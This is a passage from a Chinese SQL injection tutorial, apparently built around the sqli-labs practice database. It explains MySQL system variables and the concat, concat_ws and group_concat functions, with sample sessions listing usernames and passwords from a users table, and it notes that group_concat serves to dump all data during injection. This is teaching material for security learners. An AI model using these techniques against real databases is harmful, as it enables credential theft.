<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">4</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">. </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">@@</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">datadir 数据库路径</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">5</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">. </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">@@</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">version_compile_os 操作系统版本</span></span></code></pre></div><h3 id="字符串拼接" tabindex="-1">字符串拼接 <a class="header-anchor" href="#字符串拼接" aria-label="Permalink to "字符串拼接""></a></h3><ol><li><code>concat(str1,str2,…)</code> 能够将你查询的字段连接在一起</li><li><code>concat_ws(separator,str1,str2,)</code> 能够自定义分隔符来将你查询的字段链接在一起</li><li><code>group_concat([DISTINCT] column [Order BY ASC/DESC column] [Separator separator])</code></li></ol><p>一般来说这个函数是配合 <code>group by</code> 子句来使用的,但是在 SQL 注入中,我们用他来输出查询出来的所有数据</p><div class="language-python vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">mysql</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">></span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> select </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">id</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">, username, password </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> users</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">;</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">----</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">----------</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">------------</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> id</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> username </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> password </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">----</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">----------</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">------------</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> 1</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> Dumb </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> Dumb </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> 2</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> Angelina </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> I</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">kill</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">you </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> 3</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> Dummy </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> p</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">@</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">ssword </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> 4</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> secure </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> crappy </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> 5</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> stupid </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> stupidity </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> 6</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> superman </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> genious </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> 7</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> batman </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> mob</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">!</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">le </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> 8</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> admin </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> admin </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> 9</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> admin1 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> admin1 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> 10</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> admin2 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> admin2 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> 11</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> admin3 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> admin3 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> 12</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> dhakkan </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> dumbo </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> 14</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> admin4 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> admin4 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">----</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">----------</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">------------</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">13</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> rows </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">in</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> set</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> (</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">0.01</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sec)</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">mysql</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">></span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> select concat(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">id</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">,username,password) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> users</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">;</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">------------------------------</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> concat(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">id</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">,username,password) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">------------------------------</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 1DumbDumb</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 2AngelinaI</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">kill</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">you </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 3Dummyp</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">@</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">ssword </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 4securecrappy</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 5stupidstupidity</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 6supermangenious</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 7batmanmob!</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">le </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 8adminadmin</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 9admin1admin1</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 10admin2admin2</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 11admin3admin3</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 12dhakkandumbo</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 14admin4admin4</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">------------------------------</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">13</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> rows </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">in</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> set</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> (</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">0.01</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sec)</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">mysql</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">></span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> select concat(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">id</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">,username,password) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> users</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">;</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">------------------------------</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> concat(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">id</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">,username,password) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">------------------------------</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 1DumbDumb</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 2AngelinaI</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">kill</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">you </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 3Dummyp</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">@</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">ssword </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 4securecrappy</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 5stupidstupidity</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 6supermangenious</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 7batmanmob!</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">le </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 8adminadmin</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 9admin1admin1</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 10admin2admin2</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 11admin3admin3</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 12dhakkandumbo</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 14admin4admin4</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">------------------------------</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">13</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> rows </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">in</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> set</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> (</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">0.01</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sec)</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">mysql</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">></span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> select group_concat(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">id</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">,username separator </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'_'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> users</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">;</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">--------------------------------------------------------------------------------------------------------------</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> group_concat(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">id</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">,username separator </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'_'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">--------------------------------------------------------------------------------------------------------------</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">|</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;"> 1Dumb_2Angelina_3Dummy_4secure_5stupid_6superman_7batman_8admin_9admin1_10admin2_11admin3_12dhakkan_14admin4</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> |</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">--------------------------------------------------------------------------------------------------------------</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span></span>
|
||
